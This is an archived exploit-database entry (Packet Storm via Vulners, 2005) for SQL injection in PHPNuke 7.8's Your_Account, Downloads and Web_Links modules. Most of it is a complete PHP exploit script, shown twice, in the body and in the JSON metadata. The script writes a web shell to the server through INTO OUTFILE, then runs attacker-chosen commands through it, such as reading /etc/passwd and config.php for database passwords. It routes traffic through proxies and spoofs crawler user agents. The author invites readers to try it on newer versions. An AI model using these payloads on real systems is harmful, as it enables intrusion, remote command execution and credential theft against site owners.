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phpnuke78sql.txt

2005-10-26T00:00:00

ID PACKETSTORM:40971
Type packetstorm
Reporter rgod
Modified 2005-10-26T00:00:00

Description

                                        
                                            `PHPNuke 7.8 with all security fixes/patches "Downloads", "Web_Links" & "Your_Account"  
SQL INjection -&gt; remote commands execution poc exploit  
  
  
there are a lot of unsanitized vars in every module, as I can see, so  
if magic_quotes_gpc is Off -&gt; SQL INJECTION  
  
1) you can go to "Your Account" and submit a username like this:  
  
' UNION SELECT '&lt;?error_reporting(0);?&gt;',0,0,0,0,0,0,0,'&lt;?echo "Hi Master";ini_set("max_execution_time",0);system($_GET[cmd]);die;?&gt;',0 INTO OUTFILE '../../WWW/PHPNUKE/shell.php' FROM nuke_users/*  
  
login field is too small to do it manually but you can see my poc below  
  
to create a shell.php file in a writable directory  
  
then launch commands:  
  
http://[target]/[path_to_shell]/shell.php?cmd=cat%20/etc/passwd  
  
2) the same in "Downloads" module:  
  
http://[target]/[path]/modules.php?name=Downloads&d_op=Add&url=[SQL]&title=what&description=what  
  
3) ... and in "Web_links" module:  
  
http://[target]/[path]/modules.php?name=Web_Links&l_op=Add&title=what&description=[SQL]&url=what  
  
  
I have not seen 7.9 version but it can be also vulnerable, try it on it,  
this is my poc exploit:  
  
  
  
&lt;?php  
# 20.05 23/10/2005 #  
# #  
# ---phpnuke_78_xpl.php #  
# #  
# PHPNuke 7.8 with all security fixes/patches "Downloads","Web_Links" & #  
# "Your_Account" modules SQL Injection / remote commands execution exploit #  
# (yet not tested 7.9, but OK...) #  
# #  
# by rgod #  
# site: http://rgod.altervista.org #  
# #  
# make these changes in php.ini if you have troubles #  
# to launch this script: #  
# allow_call_time_pass_reference = on #  
# register_globals = on #  
# #  
# usage: customize for your own pleasure, launch this script from Apache, #  
# fill requested fields, then go! #  
# #  
# Sun-Tzu: "Standing on the defensive indicates insufficient strength; #  
# attacking, a superabundance of strength" #  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout", 2);  
ob_implicit_flush (1);  
  
echo'&lt;html&gt;&lt;head&gt;&lt;title&gt; PHPNuke 7.8 remote commands execution &lt;/title&gt;&lt;meta  
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt; &lt;style  
type="text/css"&gt; body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;  
SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img  
{background-color: #FFFFFF !important} input {background-color: #303030  
!important} option { background-color: #303030 !important} textarea  
{background-color: #303030 !important} input {color: #1CB081 !important} option  
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox  
{background-color: #303030 !important} select {font-weight: normal; color:  
#1CB081; background-color: #303030;} body {font-size: 8pt !important;  
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:  
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em  
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em  
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em  
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:  
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited  
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;  
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-weight:bold; font-style: italic;}--&gt;&lt;/style&gt;&lt;/head&gt; &lt;body&gt; &lt;p class="Stile6"&gt;  
PHPNuke 7.8 (possibly prior versions) remote commands execution&lt;/p&gt;&lt;p class="  
Stile6"&gt;a script by rgod at &lt;a href="http://rgod.altervista.org"target="_blank"&gt;  
http://rgod.altervista.org&lt;/a&gt;&lt;/p&gt;&lt;table width="84%"&gt;&lt;tr&gt;&lt;td width="43%"&gt; &lt;form  
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=  
value&port=value&command=value&proxy=value"&gt;&lt;p&gt;&lt;input type="text" name="host"&gt;  
&lt;span class="Stile5"&gt;hostname (ex: www.sitename.com) &lt;/span&gt; &lt;/p&gt; &lt;p&gt; &lt;input  
type="text" name="path"&gt;&lt;span class="Stile5"&gt; path ( ex: /phpnuke/ or just /)  
&lt;/span&gt;&lt;/p&gt;&lt;p&gt; &lt;input type="text" name="pathtoWWW"&gt;&lt;span class="Stile5"&gt; path  
to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement  
(default: ../../www) &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="text" name="port" &gt; &lt;span  
class="Stile5"&gt; specify a port other than 80 (default value)&lt;/span&gt; &lt;/p&gt;&lt;p&gt;  
&lt;input type="text" name="command"&gt; &lt;span class="Stile5"&gt;a Unix command ,  
example: ls -la to list directories, cat /etc/passwd to show passwd file, cat  
config.php to see database username and password&lt;/span&gt;  
&lt;/p&gt;&lt;p&gt;&lt;input type="text" name="proxy"&gt;&lt;span class="Stile5"&gt;send exploit through  
an HTTP proxy (ip:port)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="submit"name="Submit"  
value="go!"&gt;&lt;/p&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;';  
  
function show($headeri)  
{  
$ii=0;  
$ji=0;  
$ki=0;  
$ci=0;  
echo '&lt;table border="0"&gt;&lt;tr&gt;';  
while ($ii &lt;= strlen($headeri)-1)  
{  
$datai=dechex(ord($headeri[$ii]));  
if ($ji==16) {  
$ji=0;  
$ci++;  
echo "&lt;td&gt;&nbsp;&nbsp;&lt;/td&gt;";  
for ($li=0; $li&lt;=15; $li++)  
{ echo "&lt;td&gt;".$headeri[$li+$ki]."&lt;/td&gt;";  
}  
$ki=$ki+16;  
echo "&lt;/tr&gt;&lt;tr&gt;";  
}  
if (strlen($datai)==1) {echo "&lt;td&gt;0".$datai."&lt;/td&gt;";} else  
{echo "&lt;td&gt;".$datai."&lt;/td&gt; ";}  
$ii++;  
$ji++;  
}  
for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++)  
{ echo "&lt;td&gt;&nbsp&nbsp&lt;/td&gt;";  
}  
  
for ($li=$ci*16; $li&lt;=strlen($headeri); $li++)  
{ echo "&lt;td&gt;".$headeri[$li]."&lt;/td&gt;";  
}  
echo "&lt;/tr&gt;&lt;/table&gt;";  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load  
//next function to send packets  
{  
global $proxy, $host, $port, $packet, $html, $proxy_regex;  
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);  
if ($socket &lt; 0) {  
echo "socket_create() failed: reason: " . socket_strerror($socket) . "&lt;br&gt;";  
}  
else  
{  
echo "OK.&lt;br&gt;";  
echo "Attempting to connect to ".$host." on port ".$port."...&lt;br&gt;";  
if ($proxy=='')  
{  
$result = socket_connect($socket, $host, $port);  
}  
else  
{  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {echo 'Not a valid prozy...';  
die;  
}  
$parts =explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';  
$result = socket_connect($socket, $parts[0],$parts[1]);  
}  
if ($result &lt; 0) {  
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "&lt;br&gt;&lt;br&gt;";  
}  
else  
{  
echo "OK.&lt;br&gt;&lt;br&gt;";  
$html= '';  
socket_write($socket, $packet, strlen($packet));  
echo "Reading response:&lt;br&gt;";  
while ($out= socket_read($socket, 2048)) {$html.=$out;}  
echo nl2br(htmlentities($html));  
echo "Closing socket...";  
socket_close($socket);  
  
}  
}  
}  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='')  
{$ock=fsockopen($host,$port);}  
else  
{  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {echo 'Not a valid prozy...';  
die;  
}  
$parts=explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) { echo 'No response from proxy...';  
die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='')  
{  
  
$html='';  
while (!feof($ock))  
{  
$html.=fgets($ock);  
}  
}  
else  
{  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))  
{  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
echo nl2br(htmlentities($html));  
}  
  
function execute_commands()  
{  
global $p, $host, $port, $packet, $command, $html;  
$packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n";  
$packet.="Host: ".$host.":".$port."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
sendpacketii($packet);  
if (eregi("Hi Master", $html)) {echo "Exploit succeeded..."; die; }  
}  
  
  
if (($host&lt;&gt;'') and ($path&lt;&gt;'') and ($command&lt;&gt;''))  
{  
$port=intval(trim($port));  
if ($port=='') {$port=80;}  
if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}  
if ($pathtoWWW=='') {$pathtoWWW="../../www";}  
#default, path for "INTO OUTFILE &lt;[path][file]&gt;, two dirs up from mysql data directory, change it for  
#different Apache installations  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
echo $proxy;  
# STEP 1 -&gt; SQL injection in "Your_Account" module... inject a shell  
$SQL="'UNION SELECT '&lt;?error_reporting(0);?&gt;',0,0,0,0,0,0,0,'&lt;?echo \"Hi Master\";ini_set(\"max_execution_time\",0);system(\$_GET[cmd]);die;?&gt;',0 INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_users/*";  
$data="username=".urlencode($SQL)."&user_password=&redirect=&mode=&f=&t=&op=login";  
$packet="POST ".$p."modules.php?name=Your_Account HTTP/1.1\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";  
$packet.="Referer: http://".$host.":".$port.$path."modules.php?name=Your_Account\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: text/plain\r\n";  
$packet.="User-Agent: Lycos_Spider_(T-Rex)\r\n";  
$packet.="Host: ".$host.":".$port."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n";  
$packet.="Cookie: lang=english\r\n\r\n";  
$packet.=$data;  
show($packet);  
sendpacketii($packet);  
execute_commands();  
  
  
#STEP 2 -&gt; if STEP 1 failed, SQL Injection in "Downloads" module...  
//we need to use backticks (shell operators, they are not quotes, some chars like ")" are not permitted in urls...  
$SQL="' UNION SELECT '&lt;?echo \'Hi Master\';print `\$_GET[cmd]`;?&gt;' INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_downloads_downloads/*";  
$packet="GET ".$p."modules.php?name=Downloads&d_op=Add&url=".urlencode($SQL)."&title=what&description=what HTTP/1.1\r\n";  
$packet.="User-Agent: SearchExpress Spider0.99\r\n";  
$packet.="Host: ".$host.":".$port."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
sendpacketii($packet);  
execute_commands();  
  
#STEP 3 -&gt; if STEP 1 & 2 failed, SQL injection in "Web_Links" module...  
$SQL="' or 'x'='x' UNION SELECT 0,0,0,0,0,0,'Hi Master&lt;?print `\$_GET[cmd]`;?&gt;',0,0 INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_links_newlink/*";  
$packet="GET ".$p."modules.php?name=Web_Links&l_op=Add&title=what&description=".urlencode($SQL)."&url=what HTTP/1.1\r\n";  
$packet.="User-Agent: Web Link Validator 1.5\r\n";  
$packet.="Host: ".$host.":".$port."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
sendpacketii($packet);  
execute_commands();  
  
//if you are here...  
echo 'Exploit failed...';  
}  
else  
{echo 'Fill in requested fields, optionally specify a proxy';}  
?&gt;  
  
rgod  
site: http://rgod.altervista.org  
mail: retrogod at aliceposta.it  
original advisory: http://rgod.altervista.org/phpnuke78sql.html  
  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:40971", "type": "packetstorm", "bulletinFamily": "exploit", "title": "phpnuke78sql.txt", "description": "", "published": "2005-10-26T00:00:00", "modified": "2005-10-26T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/40971/phpnuke78sql.txt.html", "reporter": "rgod", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:25:08", "viewCount": 1, "enchantments": {"score": {"value": -0.3, "vector": "NONE", "modified": "2016-11-03T10:25:08", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:25:08", "rev": 2}, "vulnersScore": -0.3}, "sourceHref": "https://packetstormsecurity.com/files/download/40971/phpnuke78sql.txt", "sourceData": "`PHPNuke 7.8 with all security fixes/patches \"Downloads\", \"Web_Links\" & \"Your_Account\" \nSQL INjection -> remote commands execution poc exploit \n \n \nthere are a lot of unsanitized vars in every module, as I can see, so \nif magic_quotes_gpc is Off -> SQL INJECTION \n \n1) you can go to \"Your Account\" and submit a username like this: \n \n' UNION SELECT '<?error_reporting(0);?>',0,0,0,0,0,0,0,'<?echo \"Hi Master\";ini_set(\"max_execution_time\",0);system($_GET[cmd]);die;?>',0 INTO OUTFILE '../../WWW/PHPNUKE/shell.php' FROM nuke_users/* \n \nlogin field is too small to do it manually but you can see my poc below \n \nto create a shell.php file in a writable directory \n \nthen launch commands: \n \nhttp://[target]/[path_to_shell]/shell.php?cmd=cat%20/etc/passwd \n \n2) the same in \"Downloads\" module: \n \nhttp://[target]/[path]/modules.php?name=Downloads&d_op=Add&url=[SQL]&title=what&description=what \n \n3) ... and in \"Web_links\" module: \n \nhttp://[target]/[path]/modules.php?name=Web_Links&l_op=Add&title=what&description=[SQL]&url=what \n \n \nI have not seen 7.9 version but it can be also vulnerable, try it on it, \nthis is my poc exploit: \n \n \n \n<?php \n# 20.05 23/10/2005 # \n# # \n# ---phpnuke_78_xpl.php # \n# # \n# PHPNuke 7.8 with all security fixes/patches \"Downloads\",\"Web_Links\" & # \n# \"Your_Account\" modules SQL Injection / remote commands execution exploit # \n# (yet not tested 7.9, but OK...) # \n# # \n# by rgod # \n# site: http://rgod.altervista.org # \n# # \n# make these changes in php.ini if you have troubles # \n# to launch this script: # \n# allow_call_time_pass_reference = on # \n# register_globals = on # \n# # \n# usage: customize for your own pleasure, launch this script from Apache, # \n# fill requested fields, then go! # \n# # \n# Sun-Tzu: \"Standing on the defensive indicates insufficient strength; # \n# attacking, a superabundance of strength\" # \n \nerror_reporting(0); \nini_set(\"max_execution_time\",0); \nini_set(\"default_socket_timeout\", 2); \nob_implicit_flush (1); \n \necho'<html><head><title> PHPNuke 7.8 remote commands execution </title><meta \nhttp-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\"> <style \ntype=\"text/css\"> body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff; \nSCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img \n{background-color: #FFFFFF !important} input {background-color: #303030 \n!important} option { background-color: #303030 !important} textarea \n{background-color: #303030 !important} input {color: #1CB081 !important} option \n{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox \n{background-color: #303030 !important} select {font-weight: normal; color: \n#1CB081; background-color: #303030;} body {font-size: 8pt !important; \nbackground-color: #111111; body * {font-size: 8pt !important} h1 {font-size: \n0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em \n!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em \n!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em \n!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: \nnormal !important} *{text-decoration: none !important} a:link,a:active,a:visited \n{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline; \ncolor : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; \nfont-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; \nfont-weight:bold; font-style: italic;}--></style></head> <body> <p class=\"Stile6\"> \nPHPNuke 7.8 (possibly prior versions) remote commands execution</p><p class=\" \nStile6\">a script by rgod at <a href=\"http://rgod.altervista.org\"target=\"_blank\"> \nhttp://rgod.altervista.org</a></p><table width=\"84%\"><tr><td width=\"43%\"> <form \nname=\"form1\" method=\"post\" action=\"'.$SERVER[PHP_SELF].'?path=value&host= \nvalue&port=value&command=value&proxy=value\"><p><input type=\"text\" name=\"host\"> \n<span class=\"Stile5\">hostname (ex: www.sitename.com) </span> </p> <p> <input \ntype=\"text\" name=\"path\"><span class=\"Stile5\"> path ( ex: /phpnuke/ or just /) \n</span></p><p> <input type=\"text\" name=\"pathtoWWW\"><span class=\"Stile5\"> path \nto WWW ftom Mysql directory, need this for \"...INTO OUTFILE ...\" statement \n(default: ../../www) </span></p><p><input type=\"text\" name=\"port\" > <span \nclass=\"Stile5\"> specify a port other than 80 (default value)</span> </p><p> \n<input type=\"text\" name=\"command\"> <span class=\"Stile5\">a Unix command , \nexample: ls -la to list directories, cat /etc/passwd to show passwd file, cat \nconfig.php to see database username and password</span> \n</p><p><input type=\"text\" name=\"proxy\"><span class=\"Stile5\">send exploit through \nan HTTP proxy (ip:port)</span></p><p><input type=\"submit\"name=\"Submit\" \nvalue=\"go!\"></p></form></td></tr></table></body></html>'; \n \nfunction show($headeri) \n{ \n$ii=0; \n$ji=0; \n$ki=0; \n$ci=0; \necho '<table border=\"0\"><tr>'; \nwhile ($ii <= strlen($headeri)-1) \n{ \n$datai=dechex(ord($headeri[$ii])); \nif ($ji==16) { \n$ji=0; \n$ci++; \necho \"<td>  </td>\"; \nfor ($li=0; $li<=15; $li++) \n{ echo \"<td>\".$headeri[$li+$ki].\"</td>\"; \n} \n$ki=$ki+16; \necho \"</tr><tr>\"; \n} \nif (strlen($datai)==1) {echo \"<td>0\".$datai.\"</td>\";} else \n{echo \"<td>\".$datai.\"</td> \";} \n$ii++; \n$ji++; \n} \nfor ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) \n{ echo \"<td>&nbsp&nbsp</td>\"; \n} \n \nfor ($li=$ci*16; $li<=strlen($headeri); $li++) \n{ echo \"<td>\".$headeri[$li].\"</td>\"; \n} \necho \"</tr></table>\"; \n} \n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)'; \n \nfunction sendpacket() //if you have sockets module loaded, 2x speed! if not,load \n//next function to send packets \n{ \nglobal $proxy, $host, $port, $packet, $html, $proxy_regex; \n$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); \nif ($socket < 0) { \necho \"socket_create() failed: reason: \" . socket_strerror($socket) . \"<br>\"; \n} \nelse \n{ \necho \"OK.<br>\"; \necho \"Attempting to connect to \".$host.\" on port \".$port.\"...<br>\"; \nif ($proxy=='') \n{ \n$result = socket_connect($socket, $host, $port); \n} \nelse \n{ \n$c = preg_match($proxy_regex,$proxy); \nif (!$c) {echo 'Not a valid prozy...'; \ndie; \n} \n$parts =explode(':',$proxy); \necho 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; \n$result = socket_connect($socket, $parts[0],$parts[1]); \n} \nif ($result < 0) { \necho \"socket_connect() failed.\\r\\nReason: (\".$result.\") \" . socket_strerror($result) . \"<br><br>\"; \n} \nelse \n{ \necho \"OK.<br><br>\"; \n$html= ''; \nsocket_write($socket, $packet, strlen($packet)); \necho \"Reading response:<br>\"; \nwhile ($out= socket_read($socket, 2048)) {$html.=$out;} \necho nl2br(htmlentities($html)); \necho \"Closing socket...\"; \nsocket_close($socket); \n \n} \n} \n} \nfunction sendpacketii($packet) \n{ \nglobal $proxy, $host, $port, $html, $proxy_regex; \nif ($proxy=='') \n{$ock=fsockopen($host,$port);} \nelse \n{ \n$c = preg_match($proxy_regex,$proxy); \nif (!$c) {echo 'Not a valid prozy...'; \ndie; \n} \n$parts=explode(':',$proxy); \necho 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; \n$ock=fsockopen($parts[0],$parts[1]); \nif (!$ock) { echo 'No response from proxy...'; \ndie; \n} \n} \nfputs($ock,$packet); \nif ($proxy=='') \n{ \n \n$html=''; \nwhile (!feof($ock)) \n{ \n$html.=fgets($ock); \n} \n} \nelse \n{ \n$html=''; \nwhile ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) \n{ \n$html.=fread($ock,1); \n} \n} \nfclose($ock); \necho nl2br(htmlentities($html)); \n} \n \nfunction execute_commands() \n{ \nglobal $p, $host, $port, $packet, $command, $html; \n$packet=\"GET \".$p.\"shell.php?cmd=\".urlencode($command).\" HTTP/1.1\\r\\n\"; \n$packet.=\"Host: \".$host.\":\".$port.\"\\r\\n\"; \n$packet.=\"Connection: Close\\r\\n\\r\\n\"; \nshow($packet); \nsendpacketii($packet); \nif (eregi(\"Hi Master\", $html)) {echo \"Exploit succeeded...\"; die; } \n} \n \n \nif (($host<>'') and ($path<>'') and ($command<>'')) \n{ \n$port=intval(trim($port)); \nif ($port=='') {$port=80;} \nif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} \nif ($pathtoWWW=='') {$pathtoWWW=\"../../www\";} \n#default, path for \"INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for \n#different Apache installations \nif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} \necho $proxy; \n# STEP 1 -> SQL injection in \"Your_Account\" module... inject a shell \n$SQL=\"'UNION SELECT '<?error_reporting(0);?>',0,0,0,0,0,0,0,'<?echo \\\"Hi Master\\\";ini_set(\\\"max_execution_time\\\",0);system(\\$_GET[cmd]);die;?>',0 INTO OUTFILE '\".$pathtoWWW.$path.\"shell.php' FROM nuke_users/*\"; \n$data=\"username=\".urlencode($SQL).\"&user_password=&redirect=&mode=&f=&t=&op=login\"; \n$packet=\"POST \".$p.\"modules.php?name=Your_Account HTTP/1.1\\r\\n\"; \n$packet.=\"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\\r\\n\"; \n$packet.=\"Referer: http://\".$host.\":\".$port.$path.\"modules.php?name=Your_Account\\r\\n\"; \n$packet.=\"Accept-Language: it\\r\\n\"; \n$packet.=\"Content-Type: application/x-www-form-urlencoded\\r\\n\"; \n$packet.=\"Accept-Encoding: text/plain\\r\\n\"; \n$packet.=\"User-Agent: Lycos_Spider_(T-Rex)\\r\\n\"; \n$packet.=\"Host: \".$host.\":\".$port.\"\\r\\n\"; \n$packet.=\"Content-Length: \".strlen($data).\"\\r\\n\"; \n$packet.=\"Connection: Close\\r\\n\"; \n$packet.=\"Cache-Control: no-cache\\r\\n\"; \n$packet.=\"Cookie: lang=english\\r\\n\\r\\n\"; \n$packet.=$data; \nshow($packet); \nsendpacketii($packet); \nexecute_commands(); \n \n \n#STEP 2 -> if STEP 1 failed, SQL Injection in \"Downloads\" module... \n//we need to use backticks (shell operators, they are not quotes, some chars like \")\" are not permitted in urls... \n$SQL=\"' UNION SELECT '<?echo \\'Hi Master\\';print `\\$_GET[cmd]`;?>' INTO OUTFILE '\".$pathtoWWW.$path.\"shell.php' FROM nuke_downloads_downloads/*\"; \n$packet=\"GET \".$p.\"modules.php?name=Downloads&d_op=Add&url=\".urlencode($SQL).\"&title=what&description=what HTTP/1.1\\r\\n\"; \n$packet.=\"User-Agent: SearchExpress Spider0.99\\r\\n\"; \n$packet.=\"Host: \".$host.\":\".$port.\"\\r\\n\"; \n$packet.=\"Connection: Close\\r\\n\\r\\n\"; \nshow($packet); \nsendpacketii($packet); \nexecute_commands(); \n \n#STEP 3 -> if STEP 1 & 2 failed, SQL injection in \"Web_Links\" module... \n$SQL=\"' or 'x'='x' UNION SELECT 0,0,0,0,0,0,'Hi Master<?print `\\$_GET[cmd]`;?>',0,0 INTO OUTFILE '\".$pathtoWWW.$path.\"shell.php' FROM nuke_links_newlink/*\"; \n$packet=\"GET \".$p.\"modules.php?name=Web_Links&l_op=Add&title=what&description=\".urlencode($SQL).\"&url=what HTTP/1.1\\r\\n\"; \n$packet.=\"User-Agent: Web Link Validator 1.5\\r\\n\"; \n$packet.=\"Host: \".$host.\":\".$port.\"\\r\\n\"; \n$packet.=\"Connection: Close\\r\\n\\r\\n\"; \nshow($packet); \nsendpacketii($packet); \nexecute_commands(); \n \n//if you are here... \necho 'Exploit failed...'; \n} \nelse \n{echo 'Fill in requested fields, optionally specify a proxy';} \n?> \n \nrgod \nsite: http://rgod.altervista.org \nmail: retrogod at aliceposta.it \noriginal advisory: http://rgod.altervista.org/phpnuke78sql.html \n \n`\n"}